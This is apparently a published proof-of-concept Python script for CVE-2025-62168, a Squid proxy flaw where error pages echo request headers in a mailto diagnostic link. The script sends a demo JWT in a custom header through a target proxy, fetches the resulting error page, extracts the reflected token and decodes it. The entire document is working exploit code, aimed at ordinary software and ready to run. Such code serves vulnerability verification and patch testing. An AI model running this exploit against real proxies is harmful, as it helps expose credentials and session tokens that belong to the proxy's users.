Squid Proxy Sensitive Header Leak via Error Page `mailto:` Diagnostic Block (CVE-2025-62168)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# krakhen.dev
# version 1.2.8
# CVE-2025-62168

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import aiohttp
import asyncio
import argparse
import json
import sys
from bs4 import BeautifulSoup

# ============================
# COLORS
# ============================
RED    = "\033[31m"
GREEN  = "\033[32m"
YELLOW = "\033[33m"
CYAN   = "\033[36m"
RESET  = "\033[0m"

def green(x): return GREEN + x + RESET
def red(x): return RED + x + RESET
def cyan(x): return CYAN + x + RESET
def yellow(x): return YELLOW + x + RESET


# ============================
# TEST TOKEN (demo only)
# ============================
JWT_TOKEN = (
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
    "ewogICJzdWIiOiAiMTIzNDU2Nzg5MCIsCiAgIm5hbWUiOiAia3Jha2hlbi5kZXYiLAog"
    "ICJhZG1pbiI6IHRydWUsCiAgImlhdCI6IDE1MTYyMzkwMjIKfQo."
    "LspWRdaIXcXllUuABCsYXRqBoKseG5vlb_YIW259aiU"
)

INJECTED_HEADER = {"X-Test-Leak": JWT_TOKEN}
UA = "krakhen.dev-cve-2025-62168-poc"


# ============================
# HTTP REQUEST → triggers Squid error page
# ============================
async def fetch_error_page(proxy, verbose):

    target_url = "http://nonexistent.krakhen-test.local/"

    if verbose:
        print(cyan("\n[DEBUG] Preparing request..."))
        print(cyan(f"[DEBUG] Proxy: {proxy}"))
        print(cyan(f"[DEBUG] Target URL: {target_url}"))
        print(cyan(f"[DEBUG] Injected header: X-Test-Leak: {JWT_TOKEN}"))
        print(cyan(f"[DEBUG] User-Agent: {UA}"))
        print()

    async with aiohttp.ClientSession(
        proxy=proxy,
        headers={
            "User-Agent": UA,
            **INJECTED_HEADER
        }
    ) as session:

        try:
            async with session.get(target_url, ssl=False) as resp:
                html = await resp.text()

                if verbose:
                    print(cyan("[DEBUG] Response headers:"))
                    for k, v in resp.headers.items():
                        print(cyan(f"    {k}: {v}"))
                    print()

                return html

        except Exception as e:
            print(red(f"[ERROR] Proxy request failed: {e}"))
            return ""


# ============================
# Parse mailto block from Squid error page
# ============================
def parse_mailto(html):
    soup = BeautifulSoup(html, "html.parser")
    tag = soup.find("a", href=lambda x: x and x.startswith("mailto:"))
    if not tag:
        return ""
    return tag["href"]


# ============================
# Extract leaked token from mailto
# ============================
def extract_token(mailto):

    # Decode the most relevant parts of the mailto body
    decoded = (
        mailto
        .replace("%0D%0A", "\n")
        .replace("%3A", ": ")
        .replace("%20", " ")
    )

    for line in decoded.split("\n"):
        if "X-Test-Leak" in line:
            return line.split("X-Test-Leak: ")[1].strip()

    return None


# ============================
# JWT Decoder (no signature validation)
# ============================
def decode_jwt(token):
    head, payload, sig = token.split(".")

    import base64

    def fix_padding(x: str) -> str:
        return x + "=" * ((4 - len(x) % 4) % 4)

    h_json = json.loads(base64.urlsafe_b64decode(fix_padding(head)))
    p_json = json.loads(base64.urlsafe_b64decode(fix_padding(payload)))

    return h_json, p_json, sig


# ============================
# Main logic (visual + verbose)
# ============================
async def run(proxy, verbose):

    print(green("------------------------------------------------------------"))
    print(green(" STEP 1 — Connecting to proxy..."))
    print(green("------------------------------------------------------------"))
    print(f" Proxy: {proxy}")

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 2 — Sending request with injected token..."))
    print(green("------------------------------------------------------------"))
    print(yellow(f" Injected Header: X-Test-Leak: {yellow(JWT_TOKEN[:40] + '...')}"))

    html = await fetch_error_page(proxy, verbose)

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 3 — Server responded, extracting error page..."))
    print(green("------------------------------------------------------------"))

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 4 — Parsing mailto block from Squid error page..."))
    print(green("------------------------------------------------------------"))

    # parser
    mailto_raw = parse_mailto(html)  # return string
    # token color inside mailto
    if JWT_TOKEN in mailto_raw:
        mailto_highlight = mailto_raw.replace(JWT_TOKEN, yellow(JWT_TOKEN))
    else:
        mailto_highlight = mailto_raw

    print(mailto_highlight)

    # extract real token from mailto_raw
    leaked_token = extract_token(mailto_raw)


    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 5 — TOKEN LEAK CONFIRMED"))
    print(green("------------------------------------------------------------"))
    print(red(f" {leaked_token}\n"))

    print(green("------------------------------------------------------------"))
    print(green(" STEP 6 — Decoding JWT token..."))
    print(green("------------------------------------------------------------"))

    h, p, s = decode_jwt(leaked_token)

    print(cyan("Header:"))
    print(json.dumps(h, indent=4))
    print()

    print(cyan("Payload:"))
    print(json.dumps(p, indent=4))
    print()

    print(cyan("Signature:"))
    print(s)
    print()

    if verbose:
        print(cyan("\n---------------- RAW HTML (DEBUG) ----------------"))
        print(html)
        print(cyan("--------------------------------------------------"))

    print(green("\n------------------------------------------------------------"))
    print(green(" DONE — PoC completed successfully."))
    print(green("------------------------------------------------------------"))


# ============================
# CLI
# ============================
if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2025-62168 — Squid Proxy token leak via error page header reflection.",
        epilog="Example:\n  python3 cve-2025-62168.py --proxy http://127.0.0.1:3128 --verbose",
        formatter_class=argparse.RawTextHelpFormatter
    )

    parser.add_argument(
        "--proxy",
        required=False,
        help="Proxy URL (e.g. http://127.0.0.1:3128)"
    )
    parser.add_argument(
        "--verbose",
        action="store_true",
        help="Enable technical debug output"
    )

    args = parser.parse_args()

    # If no arguments were provided → show help and exit gracefully
    if not args.proxy:
        parser.print_help()
        print("\n[!] Missing required argument: --proxy\n")
        sys.exit(1)

    asyncio.run(run(args.proxy, args.verbose))